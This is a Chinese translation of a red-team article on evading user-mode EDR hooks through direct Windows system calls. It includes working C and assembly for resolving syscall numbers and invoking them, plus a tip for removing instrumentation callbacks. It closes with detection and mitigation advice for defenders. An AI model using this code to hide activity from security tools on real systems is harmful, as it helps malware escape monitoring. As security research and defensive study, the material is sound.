红队技术:绕过用户模式Hook,直接进行系统调用(二)

匿名者  1194天前

在本文中,我们将为读者全面介绍可以用来绕过用户模式hook的最流行、最有效的各种技术,并指出每种技术对红队的优缺点。最后,我们将总结一些防御者可以用来保护或检测这些技术的方法。

(接上文)

4. 提取SSN代码存根  (Disk)

打开C:\Windows\System32/NTDLL.dll的文件句柄。创建并映射一个带有SEC_COMMIT和PAGE_READONLY页保护的区段对象,以尝试绕过所有hook和通知。然后,通过解析PE头部并将调用存根复制到可执行内存中的方式来解析攻击者需要的系统调用。我们也可以用它来覆盖NTDLL现有副本中的任何潜在hook,但这需要使用NtProtectVirtualMemory,不过它可能早就被钩住了。大多数系统调用通常不超过32字节,但如果需要确定存根的长度的时候,其实64位PE文件支持一个异常目录,可以用来计算它。此外,NtOpenFile、NtCreateFile、NtReadFile也可能会被钩住,因为从磁盘读取NTDLL.dll会显得很可疑。

static

DWORD

WINAPI

RvaToOffset(

   PIMAGE_NT_HEADERS NtHeaders,

    DWORD Rva)

{

   PIMAGE_SECTION_HEADER SectionHeader;

    DWORD                 i, Size;

   

    if(Rva == 0)return 0;

   

   SectionHeader = IMAGE_FIRST_SECTION(NtHeaders);

   

    for(i = 0;i<NUMBER_OF_SECTIONS(NtHeaders); i++) {

     

      Size =SectionHeader[i].Misc.VirtualSize ?

            SectionHeader[i].Misc.VirtualSize : SectionHeader[i].SizeOfRawData;

              

     if(SectionHeader[i].VirtualAddress <= Rva &&

        Rva<= (DWORD)SectionHeader[i].VirtualAddress + SectionHeader[i].SizeOfRawData)

      {

        if(Rva>= SectionHeader[i].VirtualAddress &&

           Rva<  SectionHeader[i].VirtualAddress +Size) {

         

          returnSectionHeader[i].PointerToRawData + (Rva - SectionHeader[i].VirtualAddress);

        }

      }

    }

    return 0;

}

 

static

PVOID

WINAPI

GetProcAddressFromMappedDLL(

    PVOIDDllbase,

    const char*FunctionName)

{

   PIMAGE_DOS_HEADER       DosHeader;

   PIMAGE_NT_HEADERS       NtHeaders;

    PIMAGE_SECTION_HEADER   SectionHeader;

   PIMAGE_DATA_DIRECTORY  DataDirectory;

   PIMAGE_EXPORT_DIRECTORY ExportDirectory;

    DWORD                   Rva, Offset, NumberOfNames;

    PCHAR                   Name;

    PDWORD                  Functions, Names;

    PWORD                   Ordinals;

   

    DosHeader =(PIMAGE_DOS_HEADER)Dllbase;

   NtHeaders  =(PIMAGE_NT_HEADERS)((PBYTE)Dllbase + DosHeader->e_lfanew);

   DataDirectory =(PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;

   

    Rva =DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    Offset =RvaToOffset(NtHeaders, Rva);

 

   ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)Dllbase + Offset);

   NumberOfNames = ExportDirectory->NumberOfNames;

 

    Offset =RvaToOffset(NtHeaders, ExportDirectory->AddressOfNames);       

    Names =(PDWORD)((PBYTE)Dllbase + Offset);

 

    Offset =RvaToOffset(NtHeaders, ExportDirectory->AddressOfFunctions);       

    Functions =(PDWORD)((PBYTE)Dllbase + Offset);

   

    Offset = RvaToOffset(NtHeaders,ExportDirectory->AddressOfNameOrdinals);

    Ordinals =(PWORD)((PBYTE)Dllbase + Offset);

   

    do {

      Name =(PCHAR)(RvaToOffset(NtHeaders, Names[NumberOfNames - 1]) + (PBYTE)Dllbase);

 

     if(lstrcmpA(Name, FunctionName) == 0) {

 

        return(PVOID)((PBYTE)Dllbase + RvaToOffset(NtHeaders,Functions[Ordinals[NumberOfNames - 1]]));

      }

    } while(--NumberOfNames);

   

    return NULL;

}

5. 提取SSN  (Disk)

它与前面描述的方法基本完全相同,唯一区别就是这里仅仅提取系统服务号(SSN)并用自己的代码存根手动执行。SyscallTables展示了如何转储这些数字,而hells Gate则展示了如何使用这些数字。

6.FireWalker

“FireWalker: A NewApproach to Generically Bypass User-Space EDR Hooking”一文中采用的方法是,安装一个向量异常处理程序,并将CPU陷阱标志设置为单步执行Win32 API或系统调用。然后,异常处理程序尝试定位原始系统调用存根。另一种方法是使用反汇编器和单独的例程来构建系统调用的调用图。Windows有一个内置的反汇编程序,可以用来计算指令的长度。不过,它的缺点是没有提供操作码的二进制视图,所以,Zydis反汇编程序库可能是一个更好的选择。在内部,windows的调试器引擎支持构建函数的调用图(以支持WinDbg中的uf命令),但不幸的是,目前还没有向开发人员公开API。

7.SysWhispers

SysWhispers包含一个Python脚本,该脚本可以为在AMD64/x64系统上运行的系统调用构造代码存根。并且,这些存根在WindowsXP/2003到Windows 10/2019的各个版本保持兼容。该生成器会用到从J00RU维护的列表中获取的SSN。并且,在运行过程中,它会根据通过PEB检测到的操作系统版本选择相应的SSN。在Windows的最新版本中,还可以使用KUSER_SHARED_DATA来选择要读取的主要版本、次要版本和内部版本。SysWhispers目前在红队中非常流行,常常用于绕过AV和EDR。下面是为NtopenProcess生成的示例代码存根:

NtOpenProcess:

    mov rax,[gs:60h]                       ; Load PEBinto RAX.

NtOpenProcess_Check_X_X_XXXX:               ; Check major version.

    cmp dword[rax+118h], 5

    je  NtOpenProcess_SystemCall_5_X_XXXX

    cmp dword[rax+118h], 6

    je  NtOpenProcess_Check_6_X_XXXX

    cmp dword[rax+118h], 10

    je  NtOpenProcess_Check_10_0_XXXX

    jmpNtOpenProcess_SystemCall_Unknown

NtOpenProcess_Check_6_X_XXXX:               ; Check minor version forWindows Vista/7/8.

    cmp dword[rax+11ch], 0

    je  NtOpenProcess_Check_6_0_XXXX

    cmp dword[rax+11ch], 1

    je  NtOpenProcess_Check_6_1_XXXX

    cmp dword[rax+11ch], 2

    je  NtOpenProcess_SystemCall_6_2_XXXX

    cmp dword[rax+11ch], 3

    je  NtOpenProcess_SystemCall_6_3_XXXX

    jmpNtOpenProcess_SystemCall_Unknown

NtOpenProcess_Check_6_0_XXXX:               ; Check build number for WindowsVista.

    cmp word[rax+120h], 6000

    je  NtOpenProcess_SystemCall_6_0_6000

    cmp word[rax+120h], 6001

    je  NtOpenProcess_SystemCall_6_0_6001

    cmp word[rax+120h], 6002

    je  NtOpenProcess_SystemCall_6_0_6002

    jmpNtOpenProcess_SystemCall_Unknown

NtOpenProcess_Check_6_1_XXXX:               ; Check build number for Windows7.

    cmp word[rax+120h], 7600

    je  NtOpenProcess_SystemCall_6_1_7600

    cmp word[rax+120h], 7601

    je  NtOpenProcess_SystemCall_6_1_7601

    jmp NtOpenProcess_SystemCall_Unknown

NtOpenProcess_Check_10_0_XXXX:              ; Check build number for Windows10.

    cmp word[rax+120h], 10240

    je  NtOpenProcess_SystemCall_10_0_10240

    cmp word[rax+120h], 10586

    je  NtOpenProcess_SystemCall_10_0_10586

    cmp word[rax+120h], 14393

    je  NtOpenProcess_SystemCall_10_0_14393

    cmp word[rax+120h], 15063

    je  NtOpenProcess_SystemCall_10_0_15063

    cmp word[rax+120h], 16299

    je  NtOpenProcess_SystemCall_10_0_16299

    cmp word[rax+120h], 17134

    je  NtOpenProcess_SystemCall_10_0_17134

    cmp word[rax+120h], 17763

    je  NtOpenProcess_SystemCall_10_0_17763

    cmp word[rax+120h], 18362

    je  NtOpenProcess_SystemCall_10_0_18362

    cmp word[rax+120h], 18363

    je  NtOpenProcess_SystemCall_10_0_18363

    cmp word[rax+120h], 19041

    je  NtOpenProcess_SystemCall_10_0_19041

    jmpNtOpenProcess_SystemCall_Unknown

NtOpenProcess_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_0_6000:          ; Windows Vista SP0

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008SP0

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008SP2

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_1_7600:          ; Windows 7 SP0

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2SP0

    mov eax,0023h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012

    mov eax,0024h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2

    mov eax,0025h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)

    mov eax,0026h

    jmp NtOpenProcess_Epilogue

NtOpenProcess_SystemCall_10_0_19041:        ; Windows 10.0.19041 (2004)

    mov eax,0026h

    jmpNtOpenProcess_Epilogue

NtOpenProcess_SystemCall_Unknown:           ; Unknown/unsupported version.

    ret

NtOpenProcess_Epilogue:

    mov r10, rcx

    syscall

    ret

8.按系统调用地址排序

有一种发现SSN的方法,既不需要加载NTDLL的新副本,也不需要进行unhooking,还不需要查询PEB或KUSER_SHARED_DATA以获取版本信息,更不需要手动从代码存根中读取它们。此外,该方法实施起来还很简单,并且适用于所有Windows版本。诚然,该方法基于某种勒索软件中使用的一种unhooking技术,但是该技术最初是由userman01在Discorde上提出的,按照他的话说:

“获取syscall索引的一种简便方法是——即使AV覆盖了它们——……简单地枚举所有Zw* 存根,然后按地址对其进行排序。”

听起来很完美!GetSyscallList()将解析NTDLL.dll的EAT,查找以“Zw”开头的所有函数名。在生成函数名称的哈希值之前,它将“Zw”替换为“Nt”。然后,将代码存根的哈希值和地址保存到SYSCALL_ENTRY结构表中。在收集好所有名称后,通过简单的冒泡算法,对代码地址进行升序排序。这样的话,SSN其实就是存储在表中的系统调用的索引。

#define RVA2VA(Type, Dllbase, Rva) (Type)((ULONG_PTR)Dllbase + Rva)

 

static

void

GetSyscallList(PSYSCALL_LIST List) {

   PPEB_LDR_DATA           Ldr;

   PLDR_DATA_TABLE_ENTRY   LdrEntry;

   PIMAGE_DOS_HEADER       DosHeader;

   PIMAGE_NT_HEADERS       NtHeaders;

    DWORD                   i, j, NumberOfNames,VirtualAddress, Entries=0;

   PIMAGE_DATA_DIRECTORY  DataDirectory;

   PIMAGE_EXPORT_DIRECTORY ExportDirectory;

    PDWORD                  Functions;

    PDWORD                  Names;

    PWORD                   Ordinals;

    PCHAR                   DllName, FunctionName;

    PVOID                   Dllbase;

   PSYSCALL_ENTRY          Table;

   SYSCALL_ENTRY           Entry;

   

    //

    // Get theDllbase address of NTDLL.dll

    // NTDLL isnot guaranteed to be the second in the list.

    // so it's safer to loop through the fulllist and find it.  

    Ldr =(PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;

   

    // For eachDLL loaded

    for(LdrEntry=(PLDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1];

        LdrEntry->Dllbase != NULL;

        LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])

    {

      Dllbase =LdrEntry->Dllbase;

      DosHeader= (PIMAGE_DOS_HEADER)Dllbase;

      NtHeaders= RVA2VA(PIMAGE_NT_HEADERS, Dllbase, DosHeader->e_lfanew);

     DataDirectory =(PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;

     VirtualAddress =DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

     if(VirtualAddress == 0) continue;

     

     ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, Dllbase,VirtualAddress);

     

      //

      // If thisis NTDLL.dll, exit loop

      //

      DllName =RVA2VA(PCHAR,Dllbase, ExportDirectory->Name);

 

     if((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;

     if((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;

    }

   

   NumberOfNames = ExportDirectory->NumberOfNames;

   

    Functions =RVA2VA(PDWORD,Dllbase, ExportDirectory->AddressOfFunctions);

    Names     = RVA2VA(PDWORD,Dllbase,ExportDirectory->AddressOfNames);

    Ordinals  = RVA2VA(PWORD, Dllbase,ExportDirectory->AddressOfNameOrdinals);

   

    Table     = List->Table;

   

    do {

     FunctionName = RVA2VA(PCHAR, Dllbase, Names[NumberOfNames-1]);

      //

      // Is thisa system call?

      //

      if(*(USHORT*)FunctionName== 'wZ') {

        //

        // SaveHash of system call and the address.

        //

       Table[Entries].Hash = HashSyscall(0x4e000074, &FunctionName[2]);

       Table[Entries].Address = Functions[Ordinals[NumberOfNames-1]];

        

       Entries++;

       if(Entries == MAX_SYSCALLS) break;

      }

    } while(--NumberOfNames);

   

    //

    // Savetotal number of system calls found.

    //

   List->Entries = Entries;

   

    //

    // Sort thelist by address in ascending order.

    //

    for(i=0;i<Entries - 1; i++) {

      for(j=0;j<Entries - i - 1; j++) {

       if(Table[j].Address > Table[j+1].Address) {

          //

          //Swap entries.

          //

         Entry.Hash = Table[j].Hash;

         Entry.Address = Table[j].Address;

         

         Table[j].Hash = Table[j+1].Hash;

         Table[j].Address = Table[j+1].Address;

         

         Table[j+1].Hash = Entry.Hash;

         Table[j+1].Address = Entry.Address;

        }

      }

    }

}

下面是上述代码对应的AMD64/x64汇编代码:

      ;*************************************************

      ; Gather alist of system calls by parsing the

      ; exportaddress table of NTDLL.dll

      ;

      ; Generatea hash of the syscall name and save

      ; therelative virtual address to a table.

      ;

      ; Sorttable entries by virtual address in ascending order.

      ;

      ;**************************************************

     

      %ifndefBIN

        globalGetSyscallList_amd64

      %endif

     

GetSyscallList_amd64:

      ; savenon-volatile registers

      ; rcxpoints to SYSCALL_LIST.

      ; it'ssaved last.

      pushx   rsi, rbx, rdi, rbp, rcx

     

      push    TEB.ProcessEnvironmentBlock

      pop     r11

      mov     rax, [gs:r11]

      mov     rax,[rax+PEB.Ldr]

      mov     rdi,[rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]

      jmp     scan_dll

     

      ;

      ; BecauseNTDLL.dll is not guaranteed to be second in the list of DLLs,

      ; wesearch until a match is found.

      ;

next_dll:   

      mov     rdi,[rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]

scan_dll:

      mov     rbx, [rdi+LDR_DATA_TABLE_ENTRY.Dllbase]

      ;      

      mov     esi, [rbx+IMAGE_DOS_HEADER.e_lfanew]

      add     esi, r11d             ; add 60h orTEB.ProcessEnvironmentBlock

      ; ecx =IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress

      mov     ecx,[rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \

                          IMAGE_OPTIONAL_HEADER.DataDirectory + \

                          IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \

                          IMAGE_DATA_DIRECTORY.VirtualAddress - \

                          TEB.ProcessEnvironmentBlock]

      jecxz   next_dll ; if no exports, try next module inthe list

      ; rsi =offset IMAGE_EXPORT_DIRECTORY.Name

      lea     rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.Name]

      ; NTDLL?

      lodsd

      xchg    eax, esi

      add     rsi, rbx

     

      ;

      ; Convertto lowercase by setting bit 5 of each byte.

      ;

      lodsd

      or      eax, 0x20202020

      cmp     eax, 'ntdl'

      jnz     next_dll

 

      lodsd

      or      eax, 0x20202020

      cmp     eax, 'l.dl'

      jnz     next_dll

     

      ;

      ; Load addressof SYSCALL_LIST.Table

      ;

      pop     rdi

      push    rdi

      scasd           ; skip Entries

      push    0      ; Entries = 0

     

      ; rsi =offset IMAGE_EXPORT_DIRECTORY.Name

      lea     rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]

      lodsd                  ; eax = NumberOfNames

      xchg    eax, ecx

 

      ; r8 =IMAGE_EXPORT_DIRECTORY.AddressOfFunctions

      lodsd

      xchg    eax, r8d      

      add     r8, rbx        ; r8 = RVA2VA(r8, rbx)

     

      ; rbp =IMAGE_EXPORT_DIRECTORY.AddressOfNames

      lodsd

      xchg    eax, ebp      

      add     rbp, rbx       ; rbp = RVA2VA(rbp, rbx)

     

      ; r9 =IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals     

      lodsd

      xchg    eax, r9d

      add     r9, rbx        ; r9 = RVA2VA(r9, rbx)

find_syscall:

      mov     esi, [rbp+rcx*4-4]    ; rsi = AddressOfNames[rcx-1]

      add     rsi, rbx

      lodsw

      cmp     ax, 'Zw'       ; system call?

     loopne  find_syscall   

      jne     sort_syscall

      

      ; hash thesystem call name

      xor     eax, eax

      mov     edx, 0x4e000074     ; "Nt"

hash_syscall:

      lodsb

      test    al, al

      jz      get_address

      ror     edx, 8

      add     edx, eax

      jmp     hash_syscall

     

get_address:

      movzx   eax, word[r9+rcx*2]  ; eax = AddressOfNameOrdinals[rcx]

      mov     eax, [r8+rax*4]      ; eax = AddressOfFunctions[eax]

     

      stosd                        ; save Address

      xchg    eax, edx

      stosd                        ; save Hash

     

      inc     dword[rsp]           ; Entries++

     

      ; exportsremaining?

      test    ecx, ecx

      jnz     find_syscall

    

      ;

      ; Bubblesort.

      ; ArrangesTable entries by Address in ascending order.

      ;

      ; based onthe 16-byte sort code by Jibz

      ;

      ;https://gist.github.com/jibsen/8afc36995aadb896b649

      ;

     

sort_syscall:

      pop     rax              ; Entries

      pop     rdi              ; List

      stosd                    ; List->Entries = Entries

      lea     ecx, [eax - 1]   ; ecx = Entries - 1

outerloop:

      push    rcx              ; save rcx for outer loop

      push    rdi              ; rdi = Table

     

      push    rdi              ; rsi = Table

      pop     rsi

innerloop:

      lodsq                    ; load Address + Hash

      cmp     eax, [rsi]       ; do we need to swap?

      jbe     order_ok

      xchg    rax, [rsi]       ; if so, this is first step

order_ok:

      stosq                    ; second step, or justwrite back rax

      loop    innerloop

      pop     rdi

      pop     rcx              ; restore number of elements

      loop    outerloop        ; rcx is used for both loops

 

exit_get_list:

      ; restorenon-volatile registers

      popx   rsi, rbx, rdi, rbp

      ret

要将系统调用名解析为SSN,我们可以使用以下函数。给定我们希望使用的系统调用名的哈希值,这个函数将在表中搜索匹配的系统调用名并返回SSN。如果操作系统不支持该系统调用,这个函数将直接返回FALSE:

//

// Get the System Service Number from list.

//

static

BOOL

GetSSN(PSYSCALL_LIST List, DWORD Hash, PDWORD Ssn) {

    DWORD i;

 

    for(i=0;i<List->Entries; i++) {

      if(Hash ==List->Table[i].Hash) {

        *Ssn =i;

        returnTRUE;

      }

    }

    returnFALSE;

}

下面是相应的汇编代码:

1.png

我们可以将用于执行SSN的代码存根可以嵌入PoC的.text区段中,但移动到不会被检测为手动调用的内存区域可能更有意义:

InvokeSsn_amd64:

      pop     rax            ; return address

      pop     r10

      push    rax            ; save in shadow space as _rcx

     

      push    rcx            ; rax = ssn

      pop    rax

     

      push    rdx            ; rcx = arg1

      pop     r10

     

      push    r8             ; rdx = arg2

      pop     rdx

     

      push    r9             ; r8 = arg3

      pop     r8

                             ; r9 = arg4

      mov    r9, [rsp + SHADOW_SPACE_size]

       

      syscall

      jmp     qword[rsp+SHADOW_SPACE._rcx]

下面的代码演示了如何使用上述函数调用ntdll!NtAllocateVirtualMemory:

   SYSCALL_LIST   List;

    DWORD          SsnId, SsnHash;

   InvokeSsn_t    InvokeSsn;

   

    //

    // Gather alist of system calls from the Export Address Table.

    //

   GetSyscallList(&List);

 

    {

      //

      // Testallocating virtual memory

      //

      SsnHash =ct_HashSyscall("NtAllocateVirtualMemory");

     if(!GetSSN(&List, SsnHash, &SsnId)) {

       printf("Unable to find SSN for NtAllocateVirtualMemory :%08lX.\n", SsnHash);

        return 0;

      }

                   

      PVOIDbaseAddress = NULL;

      SIZE_TRegionSize = 4096;

      ULONGflAllocationType = MEM_COMMIT | MEM_RESERVE;

      ULONGflProtect = PAGE_READWRITE;

      NTSTATUSStatus;

     

      InvokeSsn= (InvokeSsn_t)&InvokeSsn_stub;

 

     printf("Invoking SSN : %ld\n", SsnId);

         

      Status =InvokeSsn(

               SsnId,

               NtCurrentProcess(),

               &baseAddress,

               0,

               &RegionSize,

                flAllocationType,

               flProtect

               );

       

     printf("Status : %s (%08lX)\n",

        Status== STATUS_SUCCESS ? "Success" : "Failed", Status);

     

     if(baseAddress != NULL) {

       printf("Releasing memory allocated at %p\n", baseAddress);

       VirtualFree(baseAddress, 0, MEM_RELEASE | MEM_DECOMMIT);

      }

    }

在根据userman01提出的想法写完代码后不久,我们又在这里发现了另一个实现同样想法的项目。

检测手动调用

防御方该如何保护自己?

字节签名和仿真

除非经过混淆/加密,否则映像中执行一个或多个系统调用的代码存根将清楚地表明恶意意图,因为没有任何合法理由让非微软应用程序直接执行它们。唯一的例外是恶意应用程序安装的UM hook发生了故障。为“syscall”指令提供YARA签名,或者为Fireeye的CAPA提供一个规则来自动发现它们,是一个好的习惯。一般来说,任何非微软的应用程序读取PEB或KUSER_SHARED_DATA都是干坏事的简单指标。通过Unicorn Engine模拟代码来检测混淆/加密代码内的存根,也是一个需要更多时间和精力来实现的想法,这一点并不难理解。

緩解政策

微软提供了一系列的缓解策略,可以在进程上强制执行,以阻止恶意代码的执行。其中,Import和Export Address Filtering是两种潜在的方法,可以防止系统调用名被枚举。此外,还有ProcessSystemCallDisablePolicy可以禁止Win32k系统调用user32.dll或win32u.dll库中的syscalls。另一个仍未被微软记录的策略是ProcessSystemCallFilterPolicy。

安插回调函数

在“Windows x64 systemservice hooks and advanced debugging ”一文中,对ProcessInstrumentationCallback信息类进行了详细的介绍;另外,Alex Ionescu2015Recon大会上题目为“ Hooking Nirvana presentation”的演讲中,也讨论过这个类。这个类不仅可以用于对系统调用进行post-processing,而且还可用于检测手动调用。防御者可以安装回调函数,并在每次调用后检查返回地址,以确定它是否源于NTDLL.dlluser32.dllWin32u.dll或其他一些系统调用不该出现的内存区域。

ScyllaHide是一个使用这种检测方法的反调试库。但是,在写这篇文章的时候,它只能检查调用是否源于主机映像内部。一个简单的绕过方法,就是把返回地址改到主机映像外面的位置。如你所见,我们也可以操纵系统调用的NTSTATUS值。

ULONG_PTR

NTAPI

InstrumentationCallback(

    _In_ULONG_PTR ReturnAddress,

    _Inout_ULONG_PTR ReturnVal

    )

{

    PVOIDImagebase = NtCurrentPeb()->ImagebaseAddress;

   PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(Imagebase);

   

    // is thereturn address within the host image?

    if(ReturnAddress >= (ULONG_PTR)Imagebase &&

       ReturnAddress < (ULONG_PTR)Imagebase + NtHeaders->OptionalHeader.SizeOfImage)

    {

      // manualsystem call detected.

    }

}

以下代码用于安装回调函数:

    // Windows7-8.1 require SE_DEBUG for this to work, even on the current process

    BOOLEANSeDebugWasEnabled;

    Status =RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled);

 

   PROCESS_INSTRUMENTATION_CALLBACK_INFORMATIONInstrumentationCallbackInfo;

 

   InstrumentationCallbackInfo.Version = 0;

   InstrumentationCallbackInfo.Reserved = 0;

   InstrumentationCallbackInfo.Callback = InstrumentationCallback;

 

    Status =NtSetInformationProcess(

              ProcessHandle,

             ProcessInstrumentationCallback,

             &InstrumentationCallbackInfo,

             sizeof(InstrumentationCallbackInfo)

              );

幸运的是,对于红队来说,可以通过将callback设置为NULL来删除NtSetInformationProcess的所有回调函数。

Intel Processor Trace (IPT)

英特尔的二进制插桩工具,便于在指令级进行跟踪,具有触发和过滤功能,可用于拦截执行前后的系统调用。Intel Skylake及后续CPU型号也支持IPT,自1803版起,Windows10系统也提供了类似的功能。

  •    WinIPT for Windows RS5
  •    Windows Intel PT Support Driver


本文由secM整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

最新评论

昵称
邮箱
提交评论